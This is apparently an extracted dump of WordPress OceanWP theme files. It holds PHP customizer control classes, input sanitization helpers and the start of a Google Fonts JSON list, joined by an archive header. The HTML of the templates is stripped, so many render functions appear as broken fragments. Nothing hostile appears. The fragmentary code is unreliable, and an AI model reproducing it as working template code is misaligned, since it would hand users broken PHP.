        label ) ) { ?> label ); ?> description ) ) { ?> description ); ?> choices as $key => $value ) { ?> $value, 'name' => '', ); } else { $value = array( 'image' => isset( $value['image'] ) ? $value['image'] : '', 'name' => isset( $value['name'] ) ? $value['name'] : '', ); } ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Single_Accordion_Custom_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'single_accordion'; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { $allowed_html = array( 'a' => array( 'href' => array(), 'title' => array(), 'class' => array(), 'target' => array(), ), 'br' => array(), 'em' => array(), 'strong' => array(), 'i' => array( 'class' => array(), ), ); ?>
        label ); ?>
        description ) ) { echo '
          '; foreach ( $this->description as $key => $value ) { echo '
        • ' . $key . wp_kses( $value, $allowed_html ) . '
        • '; } echo '
        '; } else { echo wp_kses( $this->description, $allowed_html ); } ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Simple_Notice_Custom_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'simple_notice'; /** * Render the control in the customizer */ public function render_content() { $allowed_html = array( 'a' => array( 'href' => array(), 'title' => array(), 'class' => array(), 'target' => array(), ), 'br' => array(), 'em' => array(), 'strong' => array(), 'i' => array( 'class' => array(), ), 'span' => array( 'class' => array(), ), 'code' => array(), ); ?>
        label ) ) { ?> label ); ?> description ) ) { ?> description, $allowed_html ); ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Customizer_Range_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'slider_control'; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery', 'jquery-ui-core' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { ?>
        label ); ?> link(); ?> />
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Toggle_Switch_Custom_control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'toggle_switch'; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { ?>
        link(); checked( $this->value() ); ?> >
        label ); ?> description ) ) { ?> description ); ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Sortable_Repeater_Custom_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'sortable_repeater'; /** * Button labels */ public $button_labels = array(); /** * Constructor */ public function __construct( $manager, $id, $args = array(), $options = array() ) { parent::__construct( $manager, $id, $args ); // Merge the passed button labels with our default labels $this->button_labels = wp_parse_args( $this->button_labels, array( 'add' => __( 'Add', 'oceanwp' ), ) ); } /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery', 'jquery-ui-core' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Dropdown_Select2_Custom_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'dropdown_select2'; /** * The type of Select2 Dropwdown to display. Can be either a single select dropdown or a multi-select dropdown. Either false for true. Default = false */ private $multiselect = false; /** * The Placeholder value to display. Select2 requires a Placeholder value to be set when using the clearall option. Default = 'Please select...' */ private $placeholder = 'Please select...'; /** * Constructor */ public function __construct( $manager, $id, $args = array(), $options = array() ) { parent::__construct( $manager, $id, $args ); // Check if this is a multi-select field if ( isset( $this->input_attrs['multiselect'] ) && $this->input_attrs['multiselect'] ) { $this->multiselect = true; } // Check if a placeholder string has been specified if ( isset( $this->input_attrs['placeholder'] ) && $this->input_attrs['placeholder'] ) { $this->placeholder = $this->input_attrs['placeholder']; } } /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-select2-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/select2.full.min.js', array( 'jquery' ), '4.0.13', true ); wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'skyrocket-select2-js' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.1', 'all' ); wp_enqueue_style( 'skyrocket-select2-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/select2.min.css', array(), '4.0.13', 'all' ); } /** * Render the control in the customizer */ public function render_content() { $defaultValue = $this->value(); if ( $this->multiselect ) { $defaultValue = explode( ',', $this->value() ); } ?> * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Dropdown_Posts_Custom_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'dropdown_posts'; /** * Posts */ private $posts = array(); /** * Constructor */ public function __construct( $manager, $id, $args = array(), $options = array() ) { parent::__construct( $manager, $id, $args ); // Get our Posts $this->posts = get_posts( $this->input_attrs ); } /** * Render the control in the customizer */ public function render_content() { ?> * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_TinyMCE_Custom_control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'tinymce_editor'; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); wp_enqueue_editor(); } /** * Pass our TinyMCE toolbar string to JavaScript */ public function to_json() { parent::to_json(); $this->json['skyrockettinymcetoolbar1'] = isset( $this->input_attrs['toolbar1'] ) ? ow_esc_attr( $this->input_attrs['toolbar1'] ) : 'bold italic bullist numlist alignleft aligncenter alignright link'; $this->json['skyrockettinymcetoolbar2'] = isset( $this->input_attrs['toolbar2'] ) ? ow_esc_attr( $this->input_attrs['toolbar2'] ) : ''; $this->json['skyrocketmediabuttons'] = isset( $this->input_attrs['mediaButtons'] ) && ( $this->input_attrs['mediaButtons'] === true ) ? true : false; } /** * Render the control in the customizer */ public function render_content() { ?>
        label ); ?> description ) ) { ?> description ); ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Google_Font_Select_Custom_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'google_fonts'; /** * The list of Google Fonts */ private $fontList = false; /** * The saved font values decoded from json */ private $fontValues = array(); /** * The index of the saved font within the list of Google fonts */ private $fontListIndex = 0; /** * The number of fonts to display from the json file. Either positive integer or 'all'. Default = 'all' */ private $fontCount = 'all'; /** * The font list sort order. Either 'alpha' or 'popular'. Default = 'alpha' */ private $fontOrderBy = 'alpha'; /** * Get our list of fonts from the json file */ public function __construct( $manager, $id, $args = array(), $options = array() ) { parent::__construct( $manager, $id, $args ); // Get the font sort order if ( isset( $this->input_attrs['orderby'] ) && strtolower( $this->input_attrs['orderby'] ) === 'popular' ) { $this->fontOrderBy = 'popular'; } // Get the list of Google fonts if ( isset( $this->input_attrs['font_count'] ) ) { if ( 'all' != strtolower( $this->input_attrs['font_count'] ) ) { $this->fontCount = ( abs( (int) $this->input_attrs['font_count'] ) > 0 ? abs( (int) $this->input_attrs['font_count'] ) : 'all' ); } } $this->fontList = $this->skyrocket_getGoogleFonts( 'all' ); // Decode the default json font value $this->fontValues = json_decode( $this->value() ); // Find the index of our default font within our list of Google fonts $this->fontListIndex = $this->skyrocket_getFontIndex( $this->fontList, $this->fontValues->font ); } /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-select2-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/select2.full.min.js', array( 'jquery' ), '4.0.13', true ); wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'skyrocket-select2-js' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.1', 'all' ); wp_enqueue_style( 'skyrocket-select2-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/select2.min.css', array(), '4.0.13', 'all' ); } /** * Export our List of Google Fonts to JavaScript */ public function to_json() { parent::to_json(); $this->json['skyrocketfontslist'] = $this->fontList; } /** * Render the control in the customizer */ public function render_content() { $fontCounter = 0; $isFontInList = false; $fontListStr = ''; if ( ! empty( $this->fontList ) ) { ?>
        label ) ) { ?> label ); ?> description ) ) { ?> description ); ?> link(); ?> />
        $value ) { if ( $value->family == $needle ) { return $key; } } return false; } /** * Return the list of Google Fonts from our json file. Unless otherwise specfied, list will be limited to 30 fonts. */ public function skyrocket_getGoogleFonts( $count = 30 ) { // Google Fonts json generated from https://www.googleapis.com/webfonts/v1/webfonts?sort=popularity&key=YOUR-API-KEY $fontFile = OCEANWP_INC_DIR_URI . 'customizer/assets/inc/google-fonts-alphabetical.json'; if ( $this->fontOrderBy === 'popular' ) { $fontFile = OCEANWP_INC_DIR_URI . 'customizer/assets/inc/google-fonts-popularity.json'; } $request = wp_remote_get( $fontFile ); if ( is_wp_error( $request ) ) { return ''; } $body = wp_remote_retrieve_body( $request ); $content = json_decode( $body ); if ( $count == 'all' ) { return $content->items; } else { return array_slice( $content->items, 0, $count ); } } } /** * Alpha Color Picker Custom Control * * @author Braad Martin * @license http://www.gnu.org/licenses/gpl-3.0.html * @link https://github.com/BraadMartin/components/tree/master/customizer/alpha-color-picker */ class OceanWP_Customizer_Color_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'alpha-color'; /** * Add support for palettes to be passed in. * * Supported palette values are true, false, or an array of RGBa and Hex colors. */ public $palette = array(); /** * Add support for showing the opacity value on the slider handle. */ public $show_opacity = true; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery', 'wp-color-picker' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array( 'wp-color-picker' ), '1.0', 'all' ); wp_localize_script( 'skyrocket-custom-controls-js', 'oceanwpLocalize', array( 'colorPalettes' => oceanwp_default_color_palettes() ) ); } /** * Render the control in the customizer */ public function render_content() { // Process the palette if ( is_array( $this->palette ) ) { $palette = implode( '|', $this->palette ); } else { // Default to true. $palette = ( false === $this->palette || 'false' === $this->palette ) ? 'false' : 'true'; } // Support passing show_opacity as string or boolean. Default to true. $show_opacity = ( false === $this->show_opacity || 'false' === $this->show_opacity ) ? 'false' : 'true'; ?> link(); ?> /> * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns * * Props @kallookoo for WPColorPicker script with Alpha Channel support * * @author Sergio * @license http://www.gnu.org/licenses/gpl-3.0.html * @link https://github.com/kallookoo/wp-color-picker-alpha */ class OceanWP_Alpha_Color_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'wpcolorpicker-alpha-color'; /** * ColorPicker Attributes */ public $attributes = ''; /** * Color palette defaults */ public $defaultPalette = array( '#000000', '#ffffff', '#dd3333', '#dd9933', '#eeee22', '#81d742', '#1e73be', '#8224e3', ); /** * Constructor */ public function __construct( $manager, $id, $args = array(), $options = array() ) { parent::__construct( $manager, $id, $args ); $this->attributes .= 'data-default-color="' . ow_esc_attr( $this->value() ) . '"'; $this->attributes .= 'data-alpha="true"'; $this->attributes .= 'data-reset-alpha="' . ( isset( $this->input_attrs['resetalpha'] ) ? $this->input_attrs['resetalpha'] : 'true' ) . '"'; $this->attributes .= 'data-custom-width="0"'; } /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); wp_enqueue_script( 'wp-color-picker-alpha', OCEANWP_INC_DIR_URI . 'customizer/assets/js/wp-color-picker-alpha-min.js', array( 'wp-color-picker' ), '1.0', true ); wp_enqueue_style( 'wp-color-picker' ); } /** * Pass our Palette colours to JavaScript */ public function to_json() { parent::to_json(); $this->json['colorpickerpalette'] = isset( $this->input_attrs['palette'] ) ? $this->input_attrs['palette'] : $this->defaultPalette; } /** * Render the control in the customizer */ public function render_content() { ?>
        label ) ) { ?> label ); ?> description ) ) { ?> description ); ?> attributes; ?> link(); ?> />
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Customize_Multicheck_Control extends OceanWP_Custom_Control { /** * The type of control being rendered */ public $type = 'pill_checkbox'; /** * Define whether the pills can be sorted using drag 'n drop. Either false or true. Default = false */ private $sortable = false; /** * The width of the pills. Each pill can be auto width or full width. Default = false */ private $fullwidth = false; /** * Constructor */ public function __construct( $manager, $id, $args = array(), $options = array() ) { parent::__construct( $manager, $id, $args ); // Check if these pills are sortable if ( isset( $this->input_attrs['sortable'] ) && $this->input_attrs['sortable'] ) { $this->sortable = true; } // Check if the pills should be full width if ( isset( $this->input_attrs['fullwidth'] ) && $this->input_attrs['fullwidth'] ) { $this->fullwidth = true; } } /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery', 'jquery-ui-core' ), '1.1', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the control in the customizer */ public function render_content() { $reordered_choices = array(); $value = is_array( $this->value() ) ? array_map( 'ow_esc_attr', $this->value() ) : ow_esc_attr( $this->value() ); $saved_choices = ! is_array( $value ) ? explode( ',', $value ) : $value; // Order the checkbox choices based on the saved order if ( $this->sortable ) { foreach ( $saved_choices as $key => $value ) { if ( isset( $this->choices[ $value ] ) ) { $reordered_choices[ $value ] = $this->choices[ $value ]; } } $reordered_choices = array_merge( $reordered_choices, array_diff_assoc( $this->choices, $reordered_choices ) ); } else { $reordered_choices = $this->choices; } ?>
        label ) ) { ?> label ); ?> description ) ) { ?> description ); ?> link(); ?> />
        $value ) { ?>
        * @license http://www.gnu.org/licenses/gpl-2.0.html * @link https://github.com/maddisondesigns */ class OceanWP_Upsell_Section extends OceanWP_Custom_Section { /** * The type of control being rendered */ public $type = 'skyrocket-upsell'; /** * The Upsell URL */ public $url = ''; /** * The background color for the control */ public $backgroundcolor = ''; /** * The text color for the control */ public $textcolor = ''; /** * Enqueue our scripts and styles */ public function enqueue() { wp_enqueue_script( 'skyrocket-custom-controls-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customizer.js', array( 'jquery' ), '1.0', true ); wp_enqueue_style( 'skyrocket-custom-controls-css', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customizer.css', array(), '1.0', 'all' ); } /** * Render the section, and the controls that have been added to it. */ protected function render() { $bkgrndcolor = ! empty( $this->backgroundcolor ) ? ow_esc_attr( $this->backgroundcolor ) : '#fff'; $color = ! empty( $this->textcolor ) ? ow_esc_attr( $this->textcolor ) : '#555d66'; ?>
      • > >title ); ?>

      • $value ) { $input[ $key ] = esc_url_raw( $value ); } $input = implode( ',', $input ); } else { $input = esc_url_raw( $input ); } return $input; } } /** * Switch sanitization * * @param string Switch value * @return integer Sanitized value */ if ( ! function_exists( 'skyrocket_switch_sanitization' ) ) { function skyrocket_switch_sanitization( $input ) { if ( true === $input ) { return 1; } else { return 0; } } } /** * Radio Button and Select sanitization * * @param string Radio Button value * @return integer Sanitized value */ if ( ! function_exists( 'skyrocket_radio_sanitization' ) ) { function skyrocket_radio_sanitization( $input, $setting ) { // get the list of possible radio box or select options $choices = $setting->manager->get_control( $setting->id )->choices; if ( array_key_exists( $input, $choices ) ) { return $input; } else { return $setting->default; } } } /** * Integer sanitization * * @param string Input value to check * @return integer Returned integer value */ if ( ! function_exists( 'skyrocket_sanitize_integer' ) ) { function skyrocket_sanitize_integer( $input ) { return (int) $input; } } /** * Text sanitization * * @param string Input to be sanitized (either a string containing a single string or multiple, separated by commas) * @return string Sanitized input */ if ( ! function_exists( 'skyrocket_text_sanitization' ) ) { function skyrocket_text_sanitization( $input ) { if ( strpos( $input, ',' ) !== false ) { $input = explode( ',', $input ); } if ( is_array( $input ) ) { foreach ( $input as $key => $value ) { $input[ $key ] = sanitize_text_field( $value ); } $input = implode( ',', $input ); } else { $input = sanitize_text_field( $input ); } return $input; } } /** * Array sanitization * * @param array Input to be sanitized * @return array Sanitized input */ if ( ! function_exists( 'skyrocket_array_sanitization' ) ) { function skyrocket_array_sanitization( $input ) { if ( is_array( $input ) ) { foreach ( $input as $key => $value ) { $input[ $key ] = sanitize_text_field( $value ); } } else { $input = ''; } return $input; } } /** * Alpha Color (Hex, RGB & RGBa) sanitization * * @param string Input to be sanitized * @return string Sanitized input */ if ( ! function_exists( 'skyrocket_hex_rgba_sanitization' ) ) { function skyrocket_hex_rgba_sanitization( $input, $setting ) { if ( empty( $input ) || is_array( $input ) ) { return $setting->default; } if ( false === strpos( $input, 'rgb' ) ) { // If string doesn't start with 'rgb' then santize as hex color $input = sanitize_hex_color( $input ); } else { if ( false === strpos( $input, 'rgba' ) ) { // Sanitize as RGB color $input = str_replace( ' ', '', $input ); sscanf( $input, 'rgb(%d,%d,%d)', $red, $green, $blue ); $input = 'rgb(' . skyrocket_in_range( $red, 0, 255 ) . ',' . skyrocket_in_range( $green, 0, 255 ) . ',' . skyrocket_in_range( $blue, 0, 255 ) . ')'; } else { // Sanitize as RGBa color $input = str_replace( ' ', '', $input ); sscanf( $input, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); $input = 'rgba(' . skyrocket_in_range( $red, 0, 255 ) . ',' . skyrocket_in_range( $green, 0, 255 ) . ',' . skyrocket_in_range( $blue, 0, 255 ) . ',' . skyrocket_in_range( $alpha, 0, 1 ) . ')'; } } return $input; } } /** * Only allow values between a certain minimum & maxmium range * * @param number Input to be sanitized * @return number Sanitized input */ if ( ! function_exists( 'skyrocket_in_range' ) ) { function skyrocket_in_range( $input, $min, $max ) { if ( $input < $min ) { $input = $min; } if ( $input > $max ) { $input = $max; } return $input; } } /** * Google Font sanitization * * @param string JSON string to be sanitized * @return string Sanitized input */ if ( ! function_exists( 'skyrocket_google_font_sanitization' ) ) { function skyrocket_google_font_sanitization( $input ) { $val = json_decode( $input, true ); if ( is_array( $val ) ) { foreach ( $val as $key => $value ) { $val[ $key ] = sanitize_text_field( $value ); } $input = json_encode( $val ); } else { $input = json_encode( sanitize_text_field( $val ) ); } return $input; } } /** * Date Time sanitization * * @param string Date/Time string to be sanitized * @return string Sanitized input */ if ( ! function_exists( 'skyrocket_date_time_sanitization' ) ) { function skyrocket_date_time_sanitization( $input, $setting ) { $datetimeformat = 'Y-m-d'; if ( $setting->manager->get_control( $setting->id )->include_time ) { $datetimeformat = 'Y-m-d H:i:s'; } $date = DateTime::createFromFormat( $datetimeformat, $input ); if ( $date === false ) { $date = DateTime::createFromFormat( $datetimeformat, $setting->default ); } return $date->format( $datetimeformat ); } } /** * Slider sanitization * * @param string Slider value to be sanitized * @return string Sanitized input */ if ( ! function_exists( 'skyrocket_range_sanitization' ) ) { function skyrocket_range_sanitization( $input, $setting ) { $attrs = $setting->manager->get_control( $setting->id )->input_attrs; $min = ( isset( $attrs['min'] ) ? $attrs['min'] : $input ); $max = ( isset( $attrs['max'] ) ? $attrs['max'] : $input ); $step = ( isset( $attrs['step'] ) ? $attrs['step'] : 1 ); $number = floor( $input / $attrs['step'] ) * $attrs['step']; return skyrocket_in_range( $number, $min, $max ); } } } customizer/library/customizer-custom-controls/inc/google-fonts-alphabetical.json000064400003054031151551031110024446 0ustar00{ "kind": "webfonts#webfontList", "items": [ { "kind": "webfonts#webfont", "family": "ABeeZee", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/abeezee/v13/esDR31xSG-6AGleN6tKukbcHCpE.ttf", "italic": "http://fonts.gstatic.com/s/abeezee/v13/esDT31xSG-6AGleN2tCklZUCGpG-GQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Abel", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/abel/v10/MwQ5bhbm2POE6VhLPJp6qGI.ttf" } }, { "kind": "webfonts#webfont", "family": "Abhaya Libre", "category": "serif", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "sinhala" ], "version": "v5", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYj2ryqtxI6oYtBA.ttf", "600": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYo23yqtxI6oYtBA.ttf", "700": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEYx2zyqtxI6oYtBA.ttf", "800": "http://fonts.gstatic.com/s/abhayalibre/v5/e3t5euGtX-Co5MNzeAOqinEY22_yqtxI6oYtBA.ttf", "regular": "http://fonts.gstatic.com/s/abhayalibre/v5/e3tmeuGtX-Co5MNzeAOqinEge0PWovdU4w.ttf" } }, { "kind": "webfonts#webfont", "family": "Abril Fatface", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/abrilfatface/v11/zOL64pLDlL1D99S8g8PtiKchm-BsjOLhZBY.ttf" } }, { "kind": "webfonts#webfont", "family": "Aclonica", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aclonica/v10/K2FyfZJVlfNNSEBXGb7TCI6oBjLz.ttf" } }, { "kind": "webfonts#webfont", "family": "Acme", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/acme/v9/RrQfboBx-C5_bx3Lb23lzLk.ttf" } }, { "kind": "webfonts#webfont", "family": "Actor", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/actor/v9/wEOzEBbCkc5cO3ekXygtUMIO.ttf" } }, { "kind": "webfonts#webfont", "family": "Adamina", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/adamina/v13/j8_r6-DH1bjoc-dwu-reETl4Bno.ttf" } }, { "kind": "webfonts#webfont", "family": "Advent Pro", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700" ], "subsets": [ "greek", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/adventpro/v10/V8mCoQfxVT4Dvddr_yOwjVmtLZxcBtItFw.ttf", "200": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjfWMDbZyCts0DqQ.ttf", "300": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjZGPDbZyCts0DqQ.ttf", "500": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjcmODbZyCts0DqQ.ttf", "600": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjeWJDbZyCts0DqQ.ttf", "700": "http://fonts.gstatic.com/s/adventpro/v10/V8mDoQfxVT4Dvddr_yOwjYGIDbZyCts0DqQ.ttf", "regular": "http://fonts.gstatic.com/s/adventpro/v10/V8mAoQfxVT4Dvddr_yOwtT2nKb5ZFtI.ttf" } }, { "kind": "webfonts#webfont", "family": "Aguafina Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aguafinascript/v8/If2QXTv_ZzSxGIO30LemWEOmt1bHqs4pgicOrg.ttf" } }, { "kind": "webfonts#webfont", "family": "Akronim", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/akronim/v9/fdN-9sqWtWZZlHRp-gBxkFYN-a8.ttf" } }, { "kind": "webfonts#webfont", "family": "Aladin", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aladin/v8/ZgNSjPJFPrvJV5f16Sf4pGT2Ng.ttf" } }, { "kind": "webfonts#webfont", "family": "Alata", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/alata/v1/PbytFmztEwbIofe6xKcRQEOX.ttf" } }, { "kind": "webfonts#webfont", "family": "Alatsi", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/alatsi/v1/TK3iWkUJAxQ2nLNGHjUHte5fKg.ttf" } }, { "kind": "webfonts#webfont", "family": "Aldrich", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aldrich/v10/MCoTzAn-1s3IGyJMZaAS3pP5H_E.ttf" } }, { "kind": "webfonts#webfont", "family": "Alef", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "hebrew", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/alef/v11/FeVQS0NQpLYglo50L5la2bxii28.ttf", "regular": "http://fonts.gstatic.com/s/alef/v11/FeVfS0NQpLYgrjJbC5FxxbU.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya", "category": "serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-17", "files": { "500": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSoS5I3JyJ98KhtH.ttf", "700": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpa4o3JyJ98KhtH.ttf", "800": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpG4Y3JyJ98KhtH.ttf", "900": "http://fonts.gstatic.com/s/alegreya/v13/4UaGrEBBsBhlBjvfkSpi4I3JyJ98KhtH.ttf", "regular": "http://fonts.gstatic.com/s/alegreya/v13/4UaBrEBBsBhlBjvfkRLmzanB44N1.ttf", "italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaHrEBBsBhlBjvfkSLkx63j5pN1MwI.ttf", "500italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_1nKwpteLwtHJlc.ttf", "700italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_xHMwpteLwtHJlc.ttf", "800italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_w3PwpteLwtHJlc.ttf", "900italic": "http://fonts.gstatic.com/s/alegreya/v13/4UaErEBBsBhlBjvfkSLk_ynOwpteLwtHJlc.ttf" } }, { "kind": "webfonts#webfont", "family": "Alegreya SC", "category": "serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v11", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/alegreyasc/v11/taiTGmRtCJ62-O0HhNEa-ZZc-rUxQqu2FXKD.ttf", "700": 